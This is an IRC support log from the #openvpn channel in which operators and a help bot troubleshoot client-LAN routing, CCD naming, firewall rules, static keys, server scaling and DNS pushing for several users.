08:44 <@krzee> what is the 10.50.11.0/24 network?  lan/vpn/what?
08:44 <@ecrist> it's a lan behind one of the clients
08:44 < fellipe> krzee: exactly
08:44 <@krzee> !clientlan
08:44 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
08:44 -!- danfromuk [~IceChat77@unaffiliated/danfromuk] has joined #openvpn
08:44 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
08:45 <@krzee> sounds like you missed the iroute
08:45 < danfromuk> Hi, when setting up a new openvpn server, which is better to use? udp or tcp? Does it make any real difference?
08:45 <@krzee> !tcp
08:45 <@ecrist> udp
08:45 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
08:45 < fellipe> krzee: take a look http://pastebin.com/0X5rd41p
08:46 <@krzee> fellipe, i dont think your client's commonname is bh then
08:46 <@ecrist> fellipe: what's the CN of the problem client
08:46 <@ecrist> heh
08:46 <@krzee> !ccd
08:46 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
08:46 < fellipe> ecrist: where can I see it?
08:46 <@ecrist> the server log, when the client connects
08:46 <@ecrist> !verify
08:47 < fellipe> ecrist: 10.8.0.34,beta,200.162.93.3:52760,Fri Jul 26 13:08:38 2013
08:47 < fellipe> ecrist: in openvpn-status.log
08:47 < fellipe> ecrist: is that correct?
08:48 <@krzee> !certinfo
08:48 <@vpnHelper> "certinfo" is run `openssl x509 -in <file> -noout -text` for info from your cert file
08:48 < fellipe> ecrist: wow, I guess we are approaching to the problem
08:49 < fellipe> ecrist: I generated the keys with a different name of ccd file
08:49 < fellipe> ecrist: and if I rename ccd file from bh to beta?
08:49 <@krzee> just name the ccd files EXACTLY as the CN
08:49 <@krzee> otherwise the ccd file won't be consulted
08:50 < fellipe> krzee: oh!!! let me see!
08:52 < fellipe> krzee: is it enough to rename the ccd file from bh to beta?
08:52 < fellipe> krzee: and restart the service ?
08:52 <@krzee> restart the client
08:52 <@krzee> dont need to restart the server
08:53 <@krzee> because ccd files are read when the client connects
08:53 < fellipe> krzee: ok, let me try
08:53 <@krzee> no i refuse to let you try!
08:53 < fellipe> krzee: why?
08:53 <@krzee> o.O
08:54 <@krzee> im joking, how could i stop you?
08:54 < fellipe> krzee: ah, heh!  Sorry I am from brazil and I'm not native english speaker :)
08:54 <@krzee> ahh :)
08:55 <@krzee> i speak spanish but not portuguese
08:56 <@krzee> would LOVE to go to .br
08:56 < fellipe> krzee: well, I renamed that file, and restarted both server and clients, and that duplicated route on the client disappeared,
08:56 < fellipe> krzee: I am waiting for the rest of the process, to test connectivity
08:57 < fellipe> krzee: those error from bad packet disappeared too,
08:57 <@krzee> !route
08:57 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
08:57 < fellipe> but the server still cannot ping to the client... let me see
08:57 <@vpnHelper> the server or client
08:57 <@krzee> did you read that ^ ?
08:57 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has joined #openvpn
08:58 <@krzee> fellipe, use this:
08:58 <@krzee> !clientlan
08:58 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
08:58 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
08:58 <@krzee> #3
08:58 <@krzee> the flowchart
08:58 <@krzee> i made that for troubleshooting your connection to the client lan
08:59 <@krzee> it asks you the series of questions that we would ask you for troubleshooting this :D
08:59 <@krzee> if you get stuck somewhere, ask us
09:01 < fellipe> krzee: did you make those png?
09:01 < fellipe> krzee: I couldn't open them
09:01 <@krzee> lol
09:01 <@krzee> they open fine
09:01 <@krzee> try both, they have different compression
09:02 < fellipe> krzee: I couldn't see these files
09:02 <@krzee> that makes you the only one
09:02 <@krzee> try different programs
09:03 < fellipe> krzee: please tell me what should I do, because the other clients and servers still cannot access this 10.50.11.0/24
09:03 <@krzee> all my browsers open it, all my image viewing apps use it
09:03  * fischli he may use lynx
09:03 < fellipe> krzee: I use firefox and chromium-browser in ubuntu 13.04
09:03 < fellipe> krzee: well, those bad packet errors don't exist anymore
09:03 <@krzee> fellipe, wget the image and double click on it
09:04 < fellipe> krzee: lemme try
09:04 < fellipe> krzee: yeah, wget worked
09:05 < fellipe> krzee: heh, by your image, I fall into firewall stuff
09:05 < fellipe> krzee: but I already checked this, and I'll do it again
09:06 <@krzee> show iptables-save on the client
09:06 < fellipe> krzee: wow, FIREWALL was the problem and your png's are great man!
09:07 <@krzee> =]
09:09 < fellipe> krzee: one more thing: I have a rule -s 10.50.9.10 -j ACCEPT  but it does not work until I set the INPUT policy to ACCEPT(just to test)
09:10 < fellipe> krzee: so, is there any nat on tun0?
09:10 <@krzee> shouldnt be, but since you didnt show your rules how do you think i would know?
09:11 < fellipe> krzee: right, let me paste
09:13 < fellipe> krzee: http://pastebin.com/KdDZzkWm
09:14 <@krzee> iptables -I -t INPUT -i tun+ -j ACCEPT
09:14 <@krzee> assuming you just want to pass vpn traffic
09:15 <@krzee> and that was NOT iptables-save
09:15 <@krzee> which is what i asked for
09:16 < fellipe> krzee: hmmm let me see
09:16 < fellipe> krzee: man, I  love you
09:16 <@krzee> anyways, just set input to accept for testing
09:17 < fellipe> krzee: everything is fine now
09:17 <@krzee> get the routing setup right and THEN worry about firewalling
09:17 < fellipe> krzee: yeah
09:17 <@krzee> everything? or just that client?
09:19 < fellipe> krzee: the access between clients and clients-server
09:19 < danfromuk> Hi, I'm trying to set up a vpn connection for the first time. Its an Openvpn server running on Centos, and a Windows PC as the client.
09:19 < kro[au]> How can I convert the following style configuration: 'auth-user-pass and a ca.crt only' when trying to create an inline config that will be accept by OpenVPN Connect. Any recommended links perhaps? - I tried to <ca></ca> without success. (complains about missing cert pks12)
09:19 < danfromuk> The client seems to be hung when connecting. Here are the logs http://pastebin.com/18XFgFxK
09:20 < danfromuk> How do I go about resolving it?
09:20 <@krzee> danfromuk,
09:20 <@krzee> !timeout
09:20 <@vpnHelper> "timeout" is if you see TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity) then your problem is likely one of the following: either the server isnt running, your client is connecting to the wrong ip/port/protocol, the server's firewall/nat has an issue, or the client's isp blocks it
09:20 < danfromuk> If the client is behind a nat device, could that cause an issue when using udp?
09:21 <@krzee> kro[au],no idea, tried giving it a cert?
09:21 <@krzee> danfromuk, if the nat device also behaves as a firewall
09:21 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
09:21 <@krzee> then it could block whatever
09:22 <@krzee> danfromuk, also, that is AS
09:22 <@krzee> if you are trying to use the free community version, that is not it
09:22 -!- fellipe [~fellipe@gw.conab.gov.br] has quit [Quit: Konversation terminated!]
09:22 <@krzee> if you are trying to use AS, you're in the wrong channel
09:22 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
09:22 <@krzee> !AS
09:22 <@vpnHelper> "AS" is please go to #OpenVPN-AS for help with Access-Server
09:24 < danfromuk> I'm confused. I'm using the community version of openvpn server and what i thought was the community version of the windows client.
09:24 <@krzee> !download
09:24 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
09:24 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
09:25 <@krzee> #1
09:26 < danfromuk> Ah. Thanks.
09:26 -!- tripolar [~u@unaffiliated/tripolar] has quit [Ping timeout: 264 seconds]
09:27 <@ecrist> my brother-in-law is from Brazil
09:27 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
09:30 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:31 < danfromuk> krzee: perfect. it was a firewall issue.
09:31 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Excess Flood]
09:31 <@krzee> it was also a software issue
09:31 <@krzee> your log was from AS
09:31 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
09:31 < danfromuk> krzee: yes, that too.
09:31 <@krzee> cool =]
09:32 < danfromuk> krzee: thanks.
09:32 <@krzee> you're welcome
09:32 < danfromuk> krzee: Is it possible to access specifc IPs to specific clients so that I can give different levels of access to each client based on IP?
09:32 <@krzee> !static
09:32 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
09:32 <@krzee> !policy
09:33 <@vpnHelper> "policy" is (#1) http://openvpn.net/howto.html#policy for Configuring client-specific rules and access policies or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules for a lil writeup by mario
09:33 < danfromuk> IE. some users should be able to access ssh on all servers within the vpn's network.
09:33 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
09:34 <@krzee> danfromuk, the above 2 factoids were for you
09:34 < danfromuk> Got it. Thanks
09:34 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has left #openvpn []
09:34 <@krzee> np
09:34 < danfromuk> Saw them after typing.
09:45 -!- jnpplf [~jnpplf@unaffiliated/jnpplf] has left #openvpn []
09:55 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
09:58 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
09:58 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has left #openvpn []
10:02 < danfromuk> Any ideas why openvpn server runs fine when using 'openvpn server.conf' but not when i do 'service openvpn start'
10:03 <@krzee> depends on your init script, it probably wants server.conf to be in /etc/openvpn
10:04 <@krzee> if it is, then look at the logs
10:04 < danfromuk> It is :-S
10:04 < danfromuk> messages says "--status fails with 'openvpn-status.log': Permission denied"
10:04 <@krzee> you need to start it as root
10:04 < danfromuk> I am root
10:04 <@krzee> then see why it cant write to openvpn-status.log
10:05 <@krzee> could be related to path and how your init script starts openvpn
10:05 < danfromuk> Does doing 'service openvpn start' use the current user?
10:05 <@krzee> if you're root its not that
10:08 < danfromuk> Strange. root can edit /var/log/openvpn-status.log without any problems.
10:08 -!- johanbr [~johanbr@vps.nullinfinity.org] has quit [Read error: Operation timed out]
10:09 < danfromuk> its using the correct server.conf file because i just changed the log name and the change showed up in the messages log
10:09 -!- Whoopie_ [~Whoopie@unaffiliated/whoopie] has joined #openvpn
10:09 -!- johanbr [~johanbr@vps.nullinfinity.org] has joined #openvpn
10:12 -!- Whoopie [Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
10:13 < danfromuk>  krzee: strange. a reboot fixed it
10:13 < danfromuk> actually, i disabled selinux
10:14 <@krzee> ahh
10:23 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
10:25 -!- johanbr [~johanbr@vps.nullinfinity.org] has quit [Ping timeout: 264 seconds]
10:26 < danfromuk> Ok, now i realise, am i correct in saying that if we have a centos server running as a firewall/gateway, its best to run openvpn-server on that same server rather than setting up a separate server. Is that a correct assumption?
10:27 < danfromuk> So that i dont need to go around adding routes to the internal servers back to the vpn users.
10:27 <@krzee> it makes sharing the lan easier
10:27 <@krzee> you wouldnt need to add it to internal servers, you could just add it to the gateway
10:27 <@krzee> but ya, its easier just running openvpn on the gateway
10:28 < danfromuk> Doesn't that cause all traffic to have to go through the gateway, even if its internal?
10:28 <@krzee> you mean traffic within the lan?
10:28 < danfromuk> Yes
10:29 <@krzee> a) not if the route is only for the vpn
10:29 <@krzee> b) the lan is link-local anyways
10:29 < danfromuk> true.
10:29 < danfromuk> ok thanks
10:29 <@krzee> !route_outside_openvpn
10:29 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
10:29 -!- Whoopie_ [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds]
10:30 < danfromuk> Moving the config over to gateway
10:31 < danfromuk> actually, i'm going to stick with a separate server. that way i dont have to take down the network on the gateway to add an internal ip range.
10:31 <@krzee> you wouldnt!
10:32 <@krzee> you just add the stuff to the config and ccd file, then restart openvpn
10:32 <@krzee> service openvpn restart
10:32 < danfromuk> currently, all servers have public ips. I want to establish a private ip range and then set up vpn to access the private ip range.
10:33 <@krzee> the vpn ips
10:33 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
10:39 -!- APTX_ is now known as APTX
10:41 < fester> !routed_lan_openvpn
10:42 < fester> danfromuk: maybe this? https://community.openvpn.net/openvpn/wiki/RoutedLans
10:42 <@vpnHelper> Title: RoutedLans – OpenVPN Community (at community.openvpn.net)
10:45 <@krzee> !route
10:45 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
10:45 <@vpnHelper> the server or client
10:45 <@krzee> :)
10:45 -!- Varazir [~mircwars@c-94-255-129-9.cust.bredband2.com] has joined #openvpn
10:46 < fester> Written by krzee @ #OpenVPN @ freenode IRC
10:47 <@krzee> =]
10:47 < danfromuk> krzee: there are 3 ip ranges from what i understand. theres the public ip ranges which all the servers have. theres the ip range for vpn users. and theres the private ip address range that i want to add to all the servers. then iptables rules between the vpn users and the private ip range.
10:48 < fester> do you know if there's any work on getting this to work with IPv6?
10:48 <@krzee> 2.3 works with ipv6
10:49 -!- Belliash [~belliash@asiotec/constitutive/belliash] has joined #openvpn
10:49 < Belliash> hi
10:50 <@krzee> not yet, but im trying.
10:50 < Belliash> is it possible to set multicast connections inside VPN?
10:50 -!- adnc [~akif@p4FC683EB.dip0.t-ipconnect.de] has joined #openvpn
10:50 <@krzee> between vpn peers or to the lan?
10:51 < adnc> hello, I would like to have two networks connect to my openvpn server as sites and some users as simple clients. is there somewhere a howto for this and what kind of authentication would I need to use?
10:51 <@krzee> adnc,
10:51 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 265 seconds]
10:51 <@krzee> !route
10:51 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
10:51 <@vpnHelper> the server or client
10:51 < Belliash> between vpn peers... i got limited upload speed, so that i wanted to save bandwidth using multicast connections
10:51 <@krzee> !pki
10:51 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
10:51 <@vpnHelper> signed specially as a server (see !servercert)
10:51 <@krzee> Belliash, you can use a routed tap setup
10:51 <@krzee> like a normal routed tun, but with dev tap
10:52 <@krzee> that way it uses ethernet frames instead of ip traffic within the tunnel, and multicast can work
10:52 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
10:52 <@krzee> if you needed the whole lan you'd need to bridge, but between vpn peers a routed tap setup works :)
10:53 < adnc> krzee, pfsense the router software I use offeres different usage of openvpn, peer to peer, site to site etc. If i uderstand your message above right than it is only a matter of routing?
10:53 <@krzee> adnc, peer to peer is:
10:53 <@krzee> !statickey
10:53 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
10:53 <@krzee> you can route lans with normal client/server if configured correctly
10:54 < adnc> would you suggest using two openvpn instances than, one with static key for the lans?
10:55 < adnc> and an other one for client server?
10:55 < Belliash> krzee: actually just theoretically... id like to limit access to resources just to few users - they would be able to connect to VPN server and id like to stream some multimedia to them using multicast to save bandwidth... actually read a lot about multicast, was not sure if that would be possible to setup inside VPN, so that if client is installed on windows/linux they could access resource direct
10:55 < Belliash> directly*
10:55 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
10:55 <@krzee> totally depends on the topology you want to design, but i stay away from static key when possible because you lose forward security
10:56 <@krzee> !forwardsecurity
10:56 <@vpnHelper> "forwardsecurity" is (#1) in server/client mode with certs your key renegotiates (changes) every hour (by default), so if someone captures your traffic, and then gets your key, they can only decrypt the traffic within the timeframe since last renegotiation or (#2) in ptp mode (static key) you do not have this, so if someone gets your key they can decrypt ANY past traffic that they captured
10:56 < Belliash> or if tunel end set on router, then use udpxy as well to access stream using unicast inside lan
10:56 < adnc> krzee, and if i wanted to use static keys, how do I organize this for different sites?
10:56 < adnc> or do they use the same key?
10:56 < rob0> yes, this is true, but I don't really worry about being a target of someone who would cache all my past traffic :)
10:57 < rob0> I use static keys for several site-to-site connections.
10:57 <@krzee> adnc, each side must use the same statickey when connecting to the other. how you manage/organize your stuff is for you to figure out :-p
10:57 < rob0> If I get more paranoid in the future, I'll do a monthly cron job to generate a new key and restart.
10:57 <@krzee> i also use static key some places
10:58 < adnc> krzee, well if they have to use the same key than there is nothing to organize
10:58 <@krzee> bird doesnt like doing ospf over topology net30 / subnet
10:58 < Belliash> krzee: anyway its possible with openvpn?
10:58 < rob0> I figure if the spooks are after me, they'll get me, using a $5 hammer rather than a supercomputer/cluster.
10:58 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
10:58 <@krzee> adnc, in a static key setup you need an openvpn instance per connection
10:58 <@krzee> on differing ports
10:58 < rob0> I don't like being hit with a hammer.
10:59 <@krzee> 1 process per connection.
10:59 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has left #openvpn []
10:59 < adnc> krzee, ahh, thats the important part
10:59 < adnc> i see
10:59 <@krzee> rob0, i say bring the hammer
10:59 <@krzee> !shotgun
10:59 <@vpnHelper> "shotgun" is (#1) the most effective form of physical security or (#2) <hyper_ch> shotgun security? <EugeneKay> If you try to physically attack my network, I chase you with a shotgun.
11:00 <@krzee> my pki has that ^
11:00  * EugeneKay chambers a round
11:00 < adnc> !shotgun
11:00 <@vpnHelper> "shotgun" is (#1) the most effective form of physical security or (#2) <hyper_ch> shotgun security? <EugeneKay> If you try to physically attack my network, I chase you with a shotgun.
11:00 -!- soapee01_ is now known as soapee01
11:00 < rob0> I don't like being hit with a shotgun either, whether used as a firearm or as a club.
11:00 -!- JAVACODER [~JAVACODER@2.190.44.17] has joined #openvpn
11:01 <@krzee> lol
11:01 < rob0> (low pain threshold)
11:01 <@krzee> im losing weight currently for an mma tournament
11:02 <@EugeneKay> Badass
11:02 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:02 -!- JAVACODER [~JAVACODER@2.190.44.17] has quit [Client Quit]
11:03 <@krzee> hopefully :D
11:03 <@EugeneKay> I'm slowly working off my fat ass to be a better firefighter
11:04 -!- JAVACODER [~JAVACODER@2.190.44.17] has joined #openvpn
11:09 < Belliash> btw, one more question... what ip addresses do you recommend to use inside vpn? some users are in local networks already, like MAN and they can use different addressing from private pools
11:09 -!- JAVACODER [~JAVACODER@2.190.44.17] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
11:09 < Belliash> i saw hamachi is using some different ip addressess like 5.5.x.x ...
11:10 <+pekster> krzee: NB: p2p does *not* imply using static keys. It's quite valid to use --mode p2p with --tls-server or --tls-client
11:10 -!- JAVACODER [~JAVACODER@2.190.44.17] has joined #openvpn
11:10 -!- johanbr [~johanbr@2605:6400:1:fed5:22:9052:3c4c:2e4f] has joined #openvpn
11:10 -!- Muffins [~nanderson@69.146.233.50] has joined #openvpn
11:10 <@krzee> oh hah, i just whipped up a quick statickey setup from the manual and it worked
11:11 <@krzee> oh but i also do use 2-way connecting
11:11 <+pekster> Right, just pointing out that while static key implies the use of p2p, the reverse isn't true by design
11:11 <@krzee> cause no port forwarded
11:12 <@krzee> so i guess in my situation statickey is actually required, but i did forget that so thanks for mentioning it
11:12 <+pekster> Belliash: That's very very wrong. 5/8 is ALLOCATED by ARIN: https://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xhtml
11:12 <@vpnHelper> Title: IANA IPv4 Address Space Registry (at www.iana.org)
11:12 <+pekster> Systems that abuse numbering schemes like that are inherently wrong
11:12 <+pekster> !1918
11:12 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
11:13 < Belliash> nice site... can i specify differens subnet mask than /24 ? i need more addresses
11:14 <@krzee> how many clients are you going to have?
11:14 -!- sauce [~sauce@unaffiliated/sauce] has quit [Quit: sauce]
11:15 < Belliash> finally about 10k
11:15 < Belliash> so i thought about /18
11:15 <@krzee> o.O
11:15 <@krzee> you'll need MANY MANY openvpn servers
11:15 <@krzee> each client is a different location?
11:16 < Belliash> yes, but inside one country
11:16 <@krzee> openvpn is single threaded, so each openvpn process runs on 1 core only
11:17 <+pekster> Using more than about a /22 is pointless if there's any kind of load on the system, and probably less than that under any real-world load
11:17 <+pekster> In a VM lab a while back I connected 1000 clients, and aside from TLS negotations/re-keys the load was minimal, although there was a little over 600M of RAM utilization
11:17 <+pekster> That was with 0 load
11:18 <@krzee> ya with any actual load you'll probably need to build a network distributed across locations
11:19 <@krzee> well depending on the goal
11:19 <+pekster> 7% CPU utilization doing nothing but sitting idle doing --keepalive every 10 seconds
11:19 <@krzee> pekster, did you document the testing anywhere? sounds cool
11:20 <+pekster> 2013-05-12 13:24< pekster> A topic yesterday got me curious, so I just fired up 1000 clients to a TLS-server instance using 2048 bit keys, and idle all 1000 of them eat an aveage of about 7% server CPU time (2.5 GHz 64-bit AMD.) RAM usage is the bigger issue, sitting around 675 MB
11:20 < Belliash> btw, what traffic does 1k clients generate while idling?
11:20 <+pekster> If you want to go log digging
11:20 <+pekster> I'd figure the "doing nothing but sitting idle doing --keepalive" part explained that
11:20 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
11:20 <@krzee> all with the same cert?
11:21 < Belliash> yes
11:21 <+pekster> Sure; it's not more or less expensive to process "different" certs
11:21 <@krzee> i wonder if it is able to process the cert easier the second time than the first
11:21 <+pekster> Nope
11:21 <@krzee> ok
11:22 <+pekster> The CPU load obviously spiked during connections, but I throttled them to about 10/s and got maybe 70-80% load during connections
11:22 < Belliash> what about traffic? anyone can estimate how much can 1k users generate while idling?
11:22 <+pekster> Nope, not at all
11:22 <+pekster> This is #openvpn, not #yourBusinessPlanning
11:23 <@krzee> pekster, what cpu specs?
11:23  * pekster points up
11:23 < Belliash> just thought you checked, like cpu usage
11:23 <@krzee> oh there it is
11:23 <@krzee> and single core?
11:23 <@krzee> (or was openssl able to run on its own core?)
11:24 <+pekster> 'openssl' ?
11:25 <@krzee> oh you use polar?
11:25 <+pekster> OpenVPN links against it, thus function calls are still subject to the usual single-threaded C design
11:25 <+pekster> If you fire up gdb and `step` through execution, this becomes inherently clear
11:26 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
11:26 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
11:29 <+pekster> Belliash: Use a bit of common sense and read the manpage for the --keepalive option. It should be pretty obvious
11:30 <+pekster> Why check when I defined the paramaters that define how much keepalive traffic is generated? I don't measure my 12" rulers either for the same reason
11:33  * krzee breaks in and replaces pekster's rulers with a re-scaled one that has 12" but is 10"
11:36 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
11:36 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
11:36 -!- LeLutin_ is now known as LeLutin
11:38 -!- JAVACODER [~JAVACODER@2.190.44.17] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
11:43 -!- raidz_away is now known as raidz
11:45 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
11:47 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
11:56 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
11:57 -!- PoppySeedPlehzr [~nanderson@69.146.233.50] has joined #openvpn
11:58 -!- pi__ [~pi@cpe-24-210-20-161.columbus.res.rr.com] has joined #openvpn
12:00 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
12:01 -!- Muffins [~nanderson@69.146.233.50] has quit [Ping timeout: 260 seconds]
12:09 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
12:12 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
12:22 < fester> who uses rulers anymore?
12:23 < fester> just measure the time it takes light to travel that distance and divide by C
12:24 <@plaisthos> that is how we measure length of network fibre cables :)
12:24 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
12:27 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has left #openvpn []
12:27 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds]
12:31 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
12:39  * hjohnson just uses the TDR built into cisco switches to get that if needed
12:47 < hjohnson> hrmm.. is there a way to get Radius Usernames to show up in the OpenVPN-status.log?
12:47 < danfromuk> Is it possible for a client to use a different DNS server when connected to an openvpn server. So that FQDNs can resolve the internal IPs when connected via VPN?
12:48 < hjohnson> danfromuk: yes, you can push a DNS server over the OpenVPN link
12:48 < hjohnson> danfromuk: just be aware that then *all* DNS lookups will go through the internal DNS rather than the user's own
12:49 < MacGyver> Note that on non-windows machines you need an up-script to actually parse those options.
12:49 < danfromuk> ok, so that dns server needs to be able to resolve public IPs if i dont want to lose internet access.
12:53 < hjohnson> MacGyver: TunnelBlik under OSX handles this fine, so it's really just the linuxes et al that need the up-script
12:53 < hjohnson> danfromuk: correct.
12:55 < danfromuk> hjohnson: can I push a primary and a secondary dns? The primary offering internal ips, and the secondary offering public ips?
12:56 < rob0> I did a little writeup about dnsmasq in a VPN, http://rob0.nodns4.us/dnsmasq.html
12:56 <@vpnHelper> Title: DNS in OpenVPN: a better approach (at rob0.nodns4.us)
12:56 <@plaisthos> danfromuk: such setups seldom really work
12:56 <@plaisthos> client tend to ask the first dns server only
12:56 <+pekster> hjohnson: See --username-as-common-name
12:57 <@plaisthos> and only ask the 2nd if the first is down
12:57 < hjohnson> pekster: ahh, thanks.
12:57 < danfromuk> Ok, Noted.
12:58 < hjohnson> I figure in my situation RADIUS is a better option than pushing around private keys thorugh email.
12:59 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
13:00 < danfromuk> Thanks to everyone in this channel for their help today.
13:00 < danfromuk> I'm signing off.
13:00 <+pekster> hjohnson: Why would you ever send private keys?
13:00 <+pekster> Generate them on the remote system. Anyone transfering private keys is doing it wrong
13:00 -!- danfromuk [~IceChat77@unaffiliated/danfromuk] has quit [Quit: Don't push the red button!]
13:00 <+pekster> You send *public* keys and certs across the web, not the private ones
13:02 <+pekster> Even if you're authenticating users by X.509, *they* should generate the key on their system (where it never leaves), you send the signing request to the CA, it signs the request and returns a valid cert, and the client uses that. No transfer of private keys ever need to take place as doing so is a security risk (not to mention it calls into severe question who all has access to that private key material)
13:02 < hjohnson> pekster: yes, I know that, but the end users aren't sophisticated enough to do all of this (the users of the VPN are things like our donations supervisor, and other non-technical people)
